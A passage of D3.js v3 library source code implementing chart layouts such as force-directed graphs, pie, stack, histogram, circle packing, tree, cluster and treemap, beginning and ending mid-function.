if (!arguments.length) return sortSubgroups;
sortSubgroups = x;
chords = null;
return chord;
};
chord.sortChords = function(x) {
if (!arguments.length) return sortChords;
sortChords = x;
if (chords) resort();
return chord;
};
chord.chords = function() {
if (!chords) relayout();
return chords;
};
chord.groups = function() {
if (!groups) relayout();
return groups;
};
return chord;
};
d3.layout.force = function() {
var force = {}, event = d3.dispatch("start", "tick", "end"), timer, size = [ 1, 1 ], drag, alpha, friction = .9, linkDistance = d3_layout_forceLinkDistance, linkStrength = d3_layout_forceLinkStrength, charge = -30, chargeDistance2 = d3_layout_forceChargeDistance2, gravity = .1, theta2 = .64, nodes = [], links = [], distances, strengths, charges;
function repulse(node) {
return function(quad, x1, _, x2) {
if (quad.point !== node) {
var dx = quad.cx - node.x, dy = quad.cy - node.y, dw = x2 - x1, dn = dx * dx + dy * dy;
if (dw * dw / theta2 < dn) {
if (dn < chargeDistance2) {
var k = quad.charge / dn;
node.px -= dx * k;
node.py -= dy * k;
}
return true;
}
if (quad.point && dn && dn < chargeDistance2) {
var k = quad.pointCharge / dn;
node.px -= dx * k;
node.py -= dy * k;
}
}
return !quad.charge;
};
}
force.tick = function() {
if ((alpha *= .99) < .005) {
timer = null;
event.end({
type: "end",
alpha: alpha = 0
});
return true;
}
var n = nodes.length, m = links.length, q, i, o, s, t, l, k, x, y;
for (i = 0; i < m; ++i) {
o = links[i];
s = o.source;
t = o.target;
x = t.x - s.x;
y = t.y - s.y;
if (l = x * x + y * y) {
l = alpha * strengths[i] * ((l = Math.sqrt(l)) - distances[i]) / l;
x *= l;
y *= l;
t.x -= x * (k = s.weight + t.weight ? s.weight / (s.weight + t.weight) : .5);
t.y -= y * k;
s.x += x * (k = 1 - k);
s.y += y * k;
}
}
if (k = alpha * gravity) {
x = size[0] / 2;
y = size[1] / 2;
i = -1;
if (k) while (++i < n) {
o = nodes[i];
o.x += (x - o.x) * k;
o.y += (y - o.y) * k;
}
}
if (charge) {
d3_layout_forceAccumulate(q = d3.geom.quadtree(nodes), alpha, charges);
i = -1;
while (++i < n) {
if (!(o = nodes[i]).fixed) {
q.visit(repulse(o));
}
}
}
i = -1;
while (++i < n) {
o = nodes[i];
if (o.fixed) {
o.x = o.px;
o.y = o.py;
} else {
o.x -= (o.px - (o.px = o.x)) * friction;
o.y -= (o.py - (o.py = o.y)) * friction;
}
}
event.tick({
type: "tick",
alpha: alpha
});
};
force.nodes = function(x) {
if (!arguments.length) return nodes;
nodes = x;
return force;
};
force.links = function(x) {
if (!arguments.length) return links;
links = x;
return force;
};
force.size = function(x) {
if (!arguments.length) return size;
size = x;
return force;
};
force.linkDistance = function(x) {
if (!arguments.length) return linkDistance;
linkDistance = typeof x === "function" ? x : +x;
return force;
};
force.distance = force.linkDistance;
force.linkStrength = function(x) {
if (!arguments.length) return linkStrength;
linkStrength = typeof x === "function" ? x : +x;
return force;
};
force.friction = function(x) {
if (!arguments.length) return friction;
friction = +x;
return force;
};
force.charge = function(x) {
if (!arguments.length) return charge;
charge = typeof x === "function" ? x : +x;
return force;
};
force.chargeDistance = function(x) {
if (!arguments.length) return Math.sqrt(chargeDistance2);
chargeDistance2 = x * x;
return force;
};
force.gravity = function(x) {
if (!arguments.length) return gravity;
gravity = +x;
return force;
};
force.theta = function(x) {
if (!arguments.length) return Math.sqrt(theta2);
theta2 = x * x;
return force;
};
force.alpha = function(x) {
if (!arguments.length) return alpha;
x = +x;
if (alpha) {
if (x > 0) {
alpha = x;
} else {
timer.c = null, timer.t = NaN, timer = null;
event.end({
type: "end",
alpha: alpha = 0
});
}
} else if (x > 0) {
event.start({
type: "start",
alpha: alpha = x
});
timer = d3_timer(force.tick);
}
return force;
};
force.start = function() {
var i, n = nodes.length, m = links.length, w = size[0], h = size[1], neighbors, o;
for (i = 0; i < n; ++i) {
(o = nodes[i]).index = i;
o.weight = 0;
}
for (i = 0; i < m; ++i) {
o = links[i];
if (typeof o.source == "number") o.source = nodes[o.source];
if (typeof o.target == "number") o.target = nodes[o.target];
++o.source.weight;
++o.target.weight;
}
for (i = 0; i < n; ++i) {
o = nodes[i];
if (isNaN(o.x)) o.x = position("x", w);
if (isNaN(o.y)) o.y = position("y", h);
if (isNaN(o.px)) o.px = o.x;
if (isNaN(o.py)) o.py = o.y;
}
distances = [];
if (typeof linkDistance === "function") for (i = 0; i < m; ++i) distances[i] = +linkDistance.call(this, links[i], i); else for (i = 0; i < m; ++i) distances[i] = linkDistance;
strengths = [];
if (typeof linkStrength === "function") for (i = 0; i < m; ++i) strengths[i] = +linkStrength.call(this, links[i], i); else for (i = 0; i < m; ++i) strengths[i] = linkStrength;
charges = [];
if (typeof charge === "function") for (i = 0; i < n; ++i) charges[i] = +charge.call(this, nodes[i], i); else for (i = 0; i < n; ++i) charges[i] = charge;
function position(dimension, size) {
if (!neighbors) {
neighbors = new Array(n);
for (j = 0; j < n; ++j) {
neighbors[j] = [];
}
for (j = 0; j < m; ++j) {
var o = links[j];
neighbors[o.source.index].push(o.target);
neighbors[o.target.index].push(o.source);
}
}
var candidates = neighbors[i], j = -1, l = candidates.length, x;
while (++j < l) if (!isNaN(x = candidates[j][dimension])) return x;
return Math.random() * size;
}
return force.resume();
};
force.resume = function() {
return force.alpha(.1);
};
force.stop = function() {
return force.alpha(0);
};
force.drag = function() {
if (!drag) drag = d3.behavior.drag().origin(d3_identity).on("dragstart.force", d3_layout_forceDragstart).on("drag.force", dragmove).on("dragend.force", d3_layout_forceDragend);
if (!arguments.length) return drag;
this.on("mouseover.force", d3_layout_forceMouseover).on("mouseout.force", d3_layout_forceMouseout).call(drag);
};
function dragmove(d) {
d.px = d3.event.x, d.py = d3.event.y;
force.resume();
}
return d3.rebind(force, event, "on");
};
function d3_layout_forceDragstart(d) {
d.fixed |= 2;
}
function d3_layout_forceDragend(d) {
d.fixed &= ~6;
}
function d3_layout_forceMouseover(d) {
d.fixed |= 4;
d.px = d.x, d.py = d.y;
}
function d3_layout_forceMouseout(d) {
d.fixed &= ~4;
}
function d3_layout_forceAccumulate(quad, alpha, charges) {
var cx = 0, cy = 0;
quad.charge = 0;
if (!quad.leaf) {
var nodes = quad.nodes, n = nodes.length, i = -1, c;
while (++i < n) {
c = nodes[i];
if (c == null) continue;
d3_layout_forceAccumulate(c, alpha, charges);
quad.charge += c.charge;
cx += c.charge * c.cx;
cy += c.charge * c.cy;
}
}
if (quad.point) {
if (!quad.leaf) {
quad.point.x += Math.random() - .5;
quad.point.y += Math.random() - .5;
}
var k = alpha * charges[quad.point.index];
quad.charge += quad.pointCharge = k;
cx += k * quad.point.x;
cy += k * quad.point.y;
}
quad.cx = cx / quad.charge;
quad.cy = cy / quad.charge;
}
var d3_layout_forceLinkDistance = 20, d3_layout_forceLinkStrength = 1, d3_layout_forceChargeDistance2 = Infinity;
d3.layout.hierarchy = function() {
var sort = d3_layout_hierarchySort, children = d3_layout_hierarchyChildren, value = d3_layout_hierarchyValue;
function hierarchy(root) {
var stack = [ root ], nodes = [], node;
root.depth = 0;
while ((node = stack.pop()) != null) {
nodes.push(node);
if ((childs = children.call(hierarchy, node, node.depth)) && (n = childs.length)) {
var n, childs, child;
while (--n >= 0) {
stack.push(child = childs[n]);
child.parent = node;
child.depth = node.depth + 1;
}
if (value) node.value = 0;
node.children = childs;
} else {
if (value) node.value = +value.call(hierarchy, node, node.depth) || 0;
delete node.children;
}
}
d3_layout_hierarchyVisitAfter(root, function(node) {
var childs, parent;
if (sort && (childs = node.children)) childs.sort(sort);
if (value && (parent = node.parent)) parent.value += node.value;
});
return nodes;
}
hierarchy.sort = function(x) {
if (!arguments.length) return sort;
sort = x;
return hierarchy;
};
hierarchy.children = function(x) {
if (!arguments.length) return children;
children = x;
return hierarchy;
};
hierarchy.value = function(x) {
if (!arguments.length) return value;
value = x;
return hierarchy;
};
hierarchy.revalue = function(root) {
if (value) {
d3_layout_hierarchyVisitBefore(root, function(node) {
if (node.children) node.value = 0;
});
d3_layout_hierarchyVisitAfter(root, function(node) {
var parent;
if (!node.children) node.value = +value.call(hierarchy, node, node.depth) || 0;
if (parent = node.parent) parent.value += node.value;
});
}
return root;
};
return hierarchy;
};
function d3_layout_hierarchyRebind(object, hierarchy) {
d3.rebind(object, hierarchy, "sort", "children", "value");
object.nodes = object;
object.links = d3_layout_hierarchyLinks;
return object;
}
function d3_layout_hierarchyVisitBefore(node, callback) {
var nodes = [ node ];
while ((node = nodes.pop()) != null) {
callback(node);
if ((children = node.children) && (n = children.length)) {
var n, children;
while (--n >= 0) nodes.push(children[n]);
}
}
}
function d3_layout_hierarchyVisitAfter(node, callback) {
var nodes = [ node ], nodes2 = [];
while ((node = nodes.pop()) != null) {
nodes2.push(node);
if ((children = node.children) && (n = children.length)) {
var i = -1, n, children;
while (++i < n) nodes.push(children[i]);
}
}
while ((node = nodes2.pop()) != null) {
callback(node);
}
}
function d3_layout_hierarchyChildren(d) {
return d.children;
}
function d3_layout_hierarchyValue(d) {
return d.value;
}
function d3_layout_hierarchySort(a, b) {
return b.value - a.value;
}
function d3_layout_hierarchyLinks(nodes) {
return d3.merge(nodes.map(function(parent) {
return (parent.children || []).map(function(child) {
return {
source: parent,
target: child
};
});
}));
}
d3.layout.partition = function() {
var hierarchy = d3.layout.hierarchy(), size = [ 1, 1 ];
function position(node, x, dx, dy) {
var children = node.children;
node.x = x;
node.y = node.depth * dy;
node.dx = dx;
node.dy = dy;
if (children && (n = children.length)) {
var i = -1, n, c, d;
dx = node.value ? dx / node.value : 0;
while (++i < n) {
position(c = children[i], x, d = c.value * dx, dy);
x += d;
}
}
}
function depth(node) {
var children = node.children, d = 0;
if (children && (n = children.length)) {
var i = -1, n;
while (++i < n) d = Math.max(d, depth(children[i]));
}
return 1 + d;
}
function partition(d, i) {
var nodes = hierarchy.call(this, d, i);
position(nodes[0], 0, size[0], size[1] / depth(nodes[0]));
return nodes;
}
partition.size = function(x) {
if (!arguments.length) return size;
size = x;
return partition;
};
return d3_layout_hierarchyRebind(partition, hierarchy);
};
d3.layout.pie = function() {
var value = Number, sort = d3_layout_pieSortByValue, startAngle = 0, endAngle = τ, padAngle = 0;
function pie(data) {
var n = data.length, values = data.map(function(d, i) {
return +value.call(pie, d, i);
}), a = +(typeof startAngle === "function" ? startAngle.apply(this, arguments) : startAngle), da = (typeof endAngle === "function" ? endAngle.apply(this, arguments) : endAngle) - a, p = Math.min(Math.abs(da) / n, +(typeof padAngle === "function" ? padAngle.apply(this, arguments) : padAngle)), pa = p * (da < 0 ? -1 : 1), sum = d3.sum(values), k = sum ? (da - n * pa) / sum : 0, index = d3.range(n), arcs = [], v;
if (sort != null) index.sort(sort === d3_layout_pieSortByValue ? function(i, j) {
return values[j] - values[i];
} : function(i, j) {
return sort(data[i], data[j]);
});
index.forEach(function(i) {
arcs[i] = {
data: data[i],
value: v = values[i],
startAngle: a,
endAngle: a += v * k + pa,
padAngle: p
};
});
return arcs;
}
pie.value = function(_) {
if (!arguments.length) return value;
value = _;
return pie;
};
pie.sort = function(_) {
if (!arguments.length) return sort;
sort = _;
return pie;
};
pie.startAngle = function(_) {
if (!arguments.length) return startAngle;
startAngle = _;
return pie;
};
pie.endAngle = function(_) {
if (!arguments.length) return endAngle;
endAngle = _;
return pie;
};
pie.padAngle = function(_) {
if (!arguments.length) return padAngle;
padAngle = _;
return pie;
};
return pie;
};
var d3_layout_pieSortByValue = {};
d3.layout.stack = function() {
var values = d3_identity, order = d3_layout_stackOrderDefault, offset = d3_layout_stackOffsetZero, out = d3_layout_stackOut, x = d3_layout_stackX, y = d3_layout_stackY;
function stack(data, index) {
if (!(n = data.length)) return data;
var series = data.map(function(d, i) {
return values.call(stack, d, i);
});
var points = series.map(function(d) {
return d.map(function(v, i) {
return [ x.call(stack, v, i), y.call(stack, v, i) ];
});
});
var orders = order.call(stack, points, index);
series = d3.permute(series, orders);
points = d3.permute(points, orders);
var offsets = offset.call(stack, points, index);
var m = series[0].length, n, i, j, o;
for (j = 0; j < m; ++j) {
out.call(stack, series[0][j], o = offsets[j], points[0][j][1]);
for (i = 1; i < n; ++i) {
out.call(stack, series[i][j], o += points[i - 1][j][1], points[i][j][1]);
}
}
return data;
}
stack.values = function(x) {
if (!arguments.length) return values;
values = x;
return stack;
};
stack.order = function(x) {
if (!arguments.length) return order;
order = typeof x === "function" ? x : d3_layout_stackOrders.get(x) || d3_layout_stackOrderDefault;
return stack;
};
stack.offset = function(x) {
if (!arguments.length) return offset;
offset = typeof x === "function" ? x : d3_layout_stackOffsets.get(x) || d3_layout_stackOffsetZero;
return stack;
};
stack.x = function(z) {
if (!arguments.length) return x;
x = z;
return stack;
};
stack.y = function(z) {
if (!arguments.length) return y;
y = z;
return stack;
};
stack.out = function(z) {
if (!arguments.length) return out;
out = z;
return stack;
};
return stack;
};
function d3_layout_stackX(d) {
return d.x;
}
function d3_layout_stackY(d) {
return d.y;
}
function d3_layout_stackOut(d, y0, y) {
d.y0 = y0;
d.y = y;
}
var d3_layout_stackOrders = d3.map({
"inside-out": function(data) {
var n = data.length, i, j, max = data.map(d3_layout_stackMaxIndex), sums = data.map(d3_layout_stackReduceSum), index = d3.range(n).sort(function(a, b) {
return max[a] - max[b];
}), top = 0, bottom = 0, tops = [], bottoms = [];
for (i = 0; i < n; ++i) {
j = index[i];
if (top < bottom) {
top += sums[j];
tops.push(j);
} else {
bottom += sums[j];
bottoms.push(j);
}
}
return bottoms.reverse().concat(tops);
},
reverse: function(data) {
return d3.range(data.length).reverse();
},
"default": d3_layout_stackOrderDefault
});
var d3_layout_stackOffsets = d3.map({
silhouette: function(data) {
var n = data.length, m = data[0].length, sums = [], max = 0, i, j, o, y0 = [];
for (j = 0; j < m; ++j) {
for (i = 0, o = 0; i < n; i++) o += data[i][j][1];
if (o > max) max = o;
sums.push(o);
}
for (j = 0; j < m; ++j) {
y0[j] = (max - sums[j]) / 2;
}
return y0;
},
wiggle: function(data) {
var n = data.length, x = data[0], m = x.length, i, j, k, s1, s2, s3, dx, o, o0, y0 = [];
y0[0] = o = o0 = 0;
for (j = 1; j < m; ++j) {
for (i = 0, s1 = 0; i < n; ++i) s1 += data[i][j][1];
for (i = 0, s2 = 0, dx = x[j][0] - x[j - 1][0]; i < n; ++i) {
for (k = 0, s3 = (data[i][j][1] - data[i][j - 1][1]) / (2 * dx); k < i; ++k) {
s3 += (data[k][j][1] - data[k][j - 1][1]) / dx;
}
s2 += s3 * data[i][j][1];
}
y0[j] = o -= s1 ? s2 / s1 * dx : 0;
if (o < o0) o0 = o;
}
for (j = 0; j < m; ++j) y0[j] -= o0;
return y0;
},
expand: function(data) {
var n = data.length, m = data[0].length, k = 1 / n, i, j, o, y0 = [];
for (j = 0; j < m; ++j) {
for (i = 0, o = 0; i < n; i++) o += data[i][j][1];
if (o) for (i = 0; i < n; i++) data[i][j][1] /= o; else for (i = 0; i < n; i++) data[i][j][1] = k;
}
for (j = 0; j < m; ++j) y0[j] = 0;
return y0;
},
zero: d3_layout_stackOffsetZero
});
function d3_layout_stackOrderDefault(data) {
return d3.range(data.length);
}
function d3_layout_stackOffsetZero(data) {
var j = -1, m = data[0].length, y0 = [];
while (++j < m) y0[j] = 0;
return y0;
}
function d3_layout_stackMaxIndex(array) {
var i = 1, j = 0, v = array[0][1], k, n = array.length;
for (;i < n; ++i) {
if ((k = array[i][1]) > v) {
j = i;
v = k;
}
}
return j;
}
function d3_layout_stackReduceSum(d) {
return d.reduce(d3_layout_stackSum, 0);
}
function d3_layout_stackSum(p, d) {
return p + d[1];
}
d3.layout.histogram = function() {
var frequency = true, valuer = Number, ranger = d3_layout_histogramRange, binner = d3_layout_histogramBinSturges;
function histogram(data, i) {
var bins = [], values = data.map(valuer, this), range = ranger.call(this, values, i), thresholds = binner.call(this, range, values, i), bin, i = -1, n = values.length, m = thresholds.length - 1, k = frequency ? 1 : 1 / n, x;
while (++i < m) {
bin = bins[i] = [];
bin.dx = thresholds[i + 1] - (bin.x = thresholds[i]);
bin.y = 0;
}
if (m > 0) {
i = -1;
while (++i < n) {
x = values[i];
if (x >= range[0] && x <= range[1]) {
bin = bins[d3.bisect(thresholds, x, 1, m) - 1];
bin.y += k;
bin.push(data[i]);
}
}
}
return bins;
}
histogram.value = function(x) {
if (!arguments.length) return valuer;
valuer = x;
return histogram;
};
histogram.range = function(x) {
if (!arguments.length) return ranger;
ranger = d3_functor(x);
return histogram;
};
histogram.bins = function(x) {
if (!arguments.length) return binner;
binner = typeof x === "number" ? function(range) {
return d3_layout_histogramBinFixed(range, x);
} : d3_functor(x);
return histogram;
};
histogram.frequency = function(x) {
if (!arguments.length) return frequency;
frequency = !!x;
return histogram;
};
return histogram;
};
function d3_layout_histogramBinSturges(range, values) {
return d3_layout_histogramBinFixed(range, Math.ceil(Math.log(values.length) / Math.LN2 + 1));
}
function d3_layout_histogramBinFixed(range, n) {
var x = -1, b = +range[0], m = (range[1] - b) / n, f = [];
while (++x <= n) f[x] = m * x + b;
return f;
}
function d3_layout_histogramRange(values) {
return [ d3.min(values), d3.max(values) ];
}
d3.layout.pack = function() {
var hierarchy = d3.layout.hierarchy().sort(d3_layout_packSort), padding = 0, size = [ 1, 1 ], radius;
function pack(d, i) {
var nodes = hierarchy.call(this, d, i), root = nodes[0], w = size[0], h = size[1], r = radius == null ? Math.sqrt : typeof radius === "function" ? radius : function() {
return radius;
};
root.x = root.y = 0;
d3_layout_hierarchyVisitAfter(root, function(d) {
d.r = +r(d.value);
});
d3_layout_hierarchyVisitAfter(root, d3_layout_packSiblings);
if (padding) {
var dr = padding * (radius ? 1 : Math.max(2 * root.r / w, 2 * root.r / h)) / 2;
d3_layout_hierarchyVisitAfter(root, function(d) {
d.r += dr;
});
d3_layout_hierarchyVisitAfter(root, d3_layout_packSiblings);
d3_layout_hierarchyVisitAfter(root, function(d) {
d.r -= dr;
});
}
d3_layout_packTransform(root, w / 2, h / 2, radius ? 1 : 1 / Math.max(2 * root.r / w, 2 * root.r / h));
return nodes;
}
pack.size = function(_) {
if (!arguments.length) return size;
size = _;
return pack;
};
pack.radius = function(_) {
if (!arguments.length) return radius;
radius = _ == null || typeof _ === "function" ? _ : +_;
return pack;
};
pack.padding = function(_) {
if (!arguments.length) return padding;
padding = +_;
return pack;
};
return d3_layout_hierarchyRebind(pack, hierarchy);
};
function d3_layout_packSort(a, b) {
return a.value - b.value;
}
function d3_layout_packInsert(a, b) {
var c = a._pack_next;
a._pack_next = b;
b._pack_prev = a;
b._pack_next = c;
c._pack_prev = b;
}
function d3_layout_packSplice(a, b) {
a._pack_next = b;
b._pack_prev = a;
}
function d3_layout_packIntersects(a, b) {
var dx = b.x - a.x, dy = b.y - a.y, dr = a.r + b.r;
return .999 * dr * dr > dx * dx + dy * dy;
}
function d3_layout_packSiblings(node) {
if (!(nodes = node.children) || !(n = nodes.length)) return;
var nodes, xMin = Infinity, xMax = -Infinity, yMin = Infinity, yMax = -Infinity, a, b, c, i, j, k, n;
function bound(node) {
xMin = Math.min(node.x - node.r, xMin);
xMax = Math.max(node.x + node.r, xMax);
yMin = Math.min(node.y - node.r, yMin);
yMax = Math.max(node.y + node.r, yMax);
}
nodes.forEach(d3_layout_packLink);
a = nodes[0];
a.x = -a.r;
a.y = 0;
bound(a);
if (n > 1) {
b = nodes[1];
b.x = b.r;
b.y = 0;
bound(b);
if (n > 2) {
c = nodes[2];
d3_layout_packPlace(a, b, c);
bound(c);
d3_layout_packInsert(a, c);
a._pack_prev = c;
d3_layout_packInsert(c, b);
b = a._pack_next;
for (i = 3; i < n; i++) {
d3_layout_packPlace(a, b, c = nodes[i]);
var isect = 0, s1 = 1, s2 = 1;
for (j = b._pack_next; j !== b; j = j._pack_next, s1++) {
if (d3_layout_packIntersects(j, c)) {
isect = 1;
break;
}
}
if (isect == 1) {
for (k = a._pack_prev; k !== j._pack_prev; k = k._pack_prev, s2++) {
if (d3_layout_packIntersects(k, c)) {
break;
}
}
}
if (isect) {
if (s1 < s2 || s1 == s2 && b.r < a.r) d3_layout_packSplice(a, b = j); else d3_layout_packSplice(a = k, b);
i--;
} else {
d3_layout_packInsert(a, c);
b = c;
bound(c);
}
}
}
}
var cx = (xMin + xMax) / 2, cy = (yMin + yMax) / 2, cr = 0;
for (i = 0; i < n; i++) {
c = nodes[i];
c.x -= cx;
c.y -= cy;
cr = Math.max(cr, c.r + Math.sqrt(c.x * c.x + c.y * c.y));
}
node.r = cr;
nodes.forEach(d3_layout_packUnlink);
}
function d3_layout_packLink(node) {
node._pack_next = node._pack_prev = node;
}
function d3_layout_packUnlink(node) {
delete node._pack_next;
delete node._pack_prev;
}
function d3_layout_packTransform(node, x, y, k) {
var children = node.children;
node.x = x += k * node.x;
node.y = y += k * node.y;
node.r *= k;
if (children) {
var i = -1, n = children.length;
while (++i < n) d3_layout_packTransform(children[i], x, y, k);
}
}
function d3_layout_packPlace(a, b, c) {
var db = a.r + c.r, dx = b.x - a.x, dy = b.y - a.y;
if (db && (dx || dy)) {
var da = b.r + c.r, dc = dx * dx + dy * dy;
da *= da;
db *= db;
var x = .5 + (db - da) / (2 * dc), y = Math.sqrt(Math.max(0, 2 * da * (db + dc) - (db -= dc) * db - da * da)) / (2 * dc);
c.x = a.x + x * dx + y * dy;
c.y = a.y + x * dy - y * dx;
} else {
c.x = a.x + db;
c.y = a.y;
}
}
d3.layout.tree = function() {
var hierarchy = d3.layout.hierarchy().sort(null).value(null), separation = d3_layout_treeSeparation, size = [ 1, 1 ], nodeSize = null;
function tree(d, i) {
var nodes = hierarchy.call(this, d, i), root0 = nodes[0], root1 = wrapTree(root0);
d3_layout_hierarchyVisitAfter(root1, firstWalk), root1.parent.m = -root1.z;
d3_layout_hierarchyVisitBefore(root1, secondWalk);
if (nodeSize) d3_layout_hierarchyVisitBefore(root0, sizeNode); else {
var left = root0, right = root0, bottom = root0;
d3_layout_hierarchyVisitBefore(root0, function(node) {
if (node.x < left.x) left = node;
if (node.x > right.x) right = node;
if (node.depth > bottom.depth) bottom = node;
});
var tx = separation(left, right) / 2 - left.x, kx = size[0] / (right.x + separation(right, left) / 2 + tx), ky = size[1] / (bottom.depth || 1);
d3_layout_hierarchyVisitBefore(root0, function(node) {
node.x = (node.x + tx) * kx;
node.y = node.depth * ky;
});
}
return nodes;
}
function wrapTree(root0) {
var root1 = {
A: null,
children: [ root0 ]
}, queue = [ root1 ], node1;
while ((node1 = queue.pop()) != null) {
for (var children = node1.children, child, i = 0, n = children.length; i < n; ++i) {
queue.push((children[i] = child = {
_: children[i],
parent: node1,
children: (child = children[i].children) && child.slice() || [],
A: null,
a: null,
z: 0,
m: 0,
c: 0,
s: 0,
t: null,
i: i
}).a = child);
}
}
return root1.children[0];
}
function firstWalk(v) {
var children = v.children, siblings = v.parent.children, w = v.i ? siblings[v.i - 1] : null;
if (children.length) {
d3_layout_treeShift(v);
var midpoint = (children[0].z + children[children.length - 1].z) / 2;
if (w) {
v.z = w.z + separation(v._, w._);
v.m = v.z - midpoint;
} else {
v.z = midpoint;
}
} else if (w) {
v.z = w.z + separation(v._, w._);
}
v.parent.A = apportion(v, w, v.parent.A || siblings[0]);
}
function secondWalk(v) {
v._.x = v.z + v.parent.m;
v.m += v.parent.m;
}
function apportion(v, w, ancestor) {
if (w) {
var vip = v, vop = v, vim = w, vom = vip.parent.children[0], sip = vip.m, sop = vop.m, sim = vim.m, som = vom.m, shift;
while (vim = d3_layout_treeRight(vim), vip = d3_layout_treeLeft(vip), vim && vip) {
vom = d3_layout_treeLeft(vom);
vop = d3_layout_treeRight(vop);
vop.a = v;
shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);
if (shift > 0) {
d3_layout_treeMove(d3_layout_treeAncestor(vim, v, ancestor), v, shift);
sip += shift;
sop += shift;
}
sim += vim.m;
sip += vip.m;
som += vom.m;
sop += vop.m;
}
if (vim && !d3_layout_treeRight(vop)) {
vop.t = vim;
vop.m += sim - sop;
}
if (vip && !d3_layout_treeLeft(vom)) {
vom.t = vip;
vom.m += sip - som;
ancestor = v;
}
}
return ancestor;
}
function sizeNode(node) {
node.x *= size[0];
node.y = node.depth * size[1];
}
tree.separation = function(x) {
if (!arguments.length) return separation;
separation = x;
return tree;
};
tree.size = function(x) {
if (!arguments.length) return nodeSize ? null : size;
nodeSize = (size = x) == null ? sizeNode : null;
return tree;
};
tree.nodeSize = function(x) {
if (!arguments.length) return nodeSize ? size : null;
nodeSize = (size = x) == null ? null : sizeNode;
return tree;
};
return d3_layout_hierarchyRebind(tree, hierarchy);
};
function d3_layout_treeSeparation(a, b) {
return a.parent == b.parent ? 1 : 2;
}
function d3_layout_treeLeft(v) {
var children = v.children;
return children.length ? children[0] : v.t;
}
function d3_layout_treeRight(v) {
var children = v.children, n;
return (n = children.length) ? children[n - 1] : v.t;
}
function d3_layout_treeMove(wm, wp, shift) {
var change = shift / (wp.i - wm.i);
wp.c -= change;
wp.s += shift;
wm.c += change;
wp.z += shift;
wp.m += shift;
}
function d3_layout_treeShift(v) {
var shift = 0, change = 0, children = v.children, i = children.length, w;
while (--i >= 0) {
w = children[i];
w.z += shift;
w.m += shift;
shift += w.s + (change += w.c);
}
}
function d3_layout_treeAncestor(vim, v, ancestor) {
return vim.a.parent === v.parent ? vim.a : ancestor;
}
d3.layout.cluster = function() {
var hierarchy = d3.layout.hierarchy().sort(null).value(null), separation = d3_layout_treeSeparation, size = [ 1, 1 ], nodeSize = false;
function cluster(d, i) {
var nodes = hierarchy.call(this, d, i), root = nodes[0], previousNode, x = 0;
d3_layout_hierarchyVisitAfter(root, function(node) {
var children = node.children;
if (children && children.length) {
node.x = d3_layout_clusterX(children);
node.y = d3_layout_clusterY(children);
} else {
node.x = previousNode ? x += separation(node, previousNode) : 0;
node.y = 0;
previousNode = node;
}
});
var left = d3_layout_clusterLeft(root), right = d3_layout_clusterRight(root), x0 = left.x - separation(left, right) / 2, x1 = right.x + separation(right, left) / 2;
d3_layout_hierarchyVisitAfter(root, nodeSize ? function(node) {
node.x = (node.x - root.x) * size[0];
node.y = (root.y - node.y) * size[1];
} : function(node) {
node.x = (node.x - x0) / (x1 - x0) * size[0];
node.y = (1 - (root.y ? node.y / root.y : 1)) * size[1];
});
return nodes;
}
cluster.separation = function(x) {
if (!arguments.length) return separation;
separation = x;
return cluster;
};
cluster.size = function(x) {
if (!arguments.length) return nodeSize ? null : size;
nodeSize = (size = x) == null;
return cluster;
};
cluster.nodeSize = function(x) {
if (!arguments.length) return nodeSize ? size : null;
nodeSize = (size = x) != null;
return cluster;
};
return d3_layout_hierarchyRebind(cluster, hierarchy);
};
function d3_layout_clusterY(children) {
return 1 + d3.max(children, function(child) {
return child.y;
});
}
function d3_layout_clusterX(children) {
return children.reduce(function(x, child) {
return x + child.x;
}, 0) / children.length;
}
function d3_layout_clusterLeft(node) {
var children = node.children;
return children && children.length ? d3_layout_clusterLeft(children[0]) : node;
}
function d3_layout_clusterRight(node) {
var children = node.children, n;
return children && (n = children.length) ? d3_layout_clusterRight(children[n - 1]) : node;
}
d3.layout.treemap = function() {
var hierarchy = d3.layout.hierarchy(), round = Math.round, size = [ 1, 1 ], padding = null, pad = d3_layout_treemapPadNull, sticky = false, stickies, mode = "squarify", ratio = .5 * (1 + Math.sqrt(5));
function scale(children, k) {
var i = -1, n = children.length, child, area;
while (++i < n) {
area = (child = children[i]).value * (k < 0 ? 0 : k);
child.area = isNaN(area) || area <= 0 ? 0 : area;
}
}
function squarify(node) {
var children = node.children;
if (children && children.length) {
var rect = pad(node), row = [], remaining = children.slice(), child, best = Infinity, score, u = mode === "slice" ? rect.dx : mode === "dice" ? rect.dy : mode === "slice-dice" ? node.depth & 1 ? rect.dy : rect.dx : Math.min(rect.dx, rect.dy), n;
scale(remaining, rect.dx * rect.dy / node.value);
row.area = 0;
while ((n = remaining.length) > 0) {
row.push(child = remaining[n - 1]);
row.area += child.area;
if (mode !== "squarify" || (score = worst(row, u)) <= best) {
remaining.pop();
best = score;
} else {
row.area -= row.pop().area;
position(row, u, rect, false);
u = Math.min(rect.dx, rect.dy);
row.length = row.area = 0;
best = Infinity;
}
}
if (row.length) {
position(row, u, rect, true);
row.length = row.area = 0;
}
children.forEach(squarify);
}
}
function stickify(node) {
var children = node.children;
if (children && children.length) {
var rect = pad(node), remaining = children.slice(), child, row = [];
scale(remaining, rect.dx * rect.dy / node.value);
row.area = 0;
while (child = remaining.pop()) {
row.push(child);
row.area += child.area;
if (child.z != null) {
position(row, child.z ? rect.dx : rect.dy, rect, !remaining.length);
row.length = row.area = 0;
}
}
children.forEach(stickify);
}
}
function worst(row, u) {
var s = row.area, r, rmax = 0, rmin = Infinity, i = -1, n = row.length;
while (++i < n) {
if (!(r = row[i].area)) continue;
if (r < rmin) rmin = r;
if (r > rmax) rmax = r;
}
s *= s;
u *= u;
return s ? Math.max(u * rmax * ratio / s, s / (u * rmin * ratio)) : Infinity;
}
function position(row, u, rect, flush) {
var i = -1, n = row.length, x = rect.x, y = rect.y, v = u ? round(row.area / u) : 0, o;
if (u == rect.dx) {
if (flush || v > rect.dy) v = rect.dy;
while (++i < n) {
o = row[i];
o.x = x;
o.y = y;
o.dy = v;
x += o.dx = Math.min(rect.x + rect.dx - x, v ? round(o.area / v) : 0);
}
o.z = true;
o.dx += rect.x + rect.dx - x;
rect.y += v;
rect.dy -= v;
} else {
if (flush || v > rect.dx) v = rect.dx;
while (++i < n) {
o = row[i];
o.x = x;
o.y = y;
o.dx = v;
y += o.dy = Math.min(rect.y + rect.dy - y, v ? round(o.area / v) : 0);
}
o.z = false;
o.dy += rect.y + rect.dy - y;
rect.x += v;
rect.dx -= v;
}
}
function treemap(d) {
var nodes = stickies || hierarchy(d), root = nodes[0];
root.x = root.y = 0;
